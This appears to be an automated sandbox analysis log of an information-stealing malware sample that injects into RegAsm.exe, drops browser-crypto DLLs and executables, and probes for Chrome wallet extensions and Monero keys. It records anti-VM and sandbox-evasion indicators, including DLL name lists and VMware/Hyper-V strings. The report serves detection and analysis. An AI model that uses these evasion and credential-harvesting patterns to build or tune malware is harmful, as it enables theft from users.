Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EGDGCGCFHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userGIEGHJEGHJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECBKKEBKE.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EGDGCGCFHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBGIJEHIID.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECBKKEBKE.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00418A9A

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userGIEGHJEGHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.EGDGCGCFHI.exe.43d5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2560292223.000000000440E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2762920375.000000000043A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 424, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 0000001B.00000002.2762920375.000000000043A000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4116:07:4116:07:4116:07:4116:07:4116:07:41DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory allocated: 8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory allocated: 2560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory allocated: 4560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory allocated: 1930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory allocated: 33D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory allocated: 1980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory allocated: 1140000 memory reserve \| memory write watch
Source: C:\ProgramData\DBGIJEHIID.exe	Memory allocated: 29C0000 memory reserve \| memory write watch
Source: C:\ProgramData\DBGIJEHIID.exe	Memory allocated: 49C0000 memory reserve \| memory write watch
Source: C:\Users\userGIEGHJEGHJ.exe	Memory allocated: BE0000 memory reserve \| memory write watch
Source: C:\Users\userGIEGHJEGHJ.exe	Memory allocated: 2740000 memory reserve \| memory write watch
Source: C:\Users\userGIEGHJEGHJ.exe	Memory allocated: 4740000 memory reserve \| memory write watch
Source: C:\Users\userIJEGDBGDBF.exe	Memory allocated: 15A0000 memory reserve \| memory write watch
Source: C:\Users\userIJEGDBGDBF.exe	Memory allocated: 3300000 memory reserve \| memory write watch
Source: C:\Users\userIJEGDBGDBF.exe	Memory allocated: 1840000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userGIEGHJEGHJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userIJEGDBGDBF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sql[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe TID: 5192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe TID: 2032	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe TID: 5268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 1616	Thread sleep count: 74 > 30
Source: C:\Users\userGIEGHJEGHJ.exe TID: 1864	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\userIJEGDBGDBF.exe TID: 2820	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 508	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userGIEGHJEGHJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userIJEGDBGDBF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf3<
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<
Source: RegAsm.exe, 0000000E.00000002.2863943868.00000000011BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]
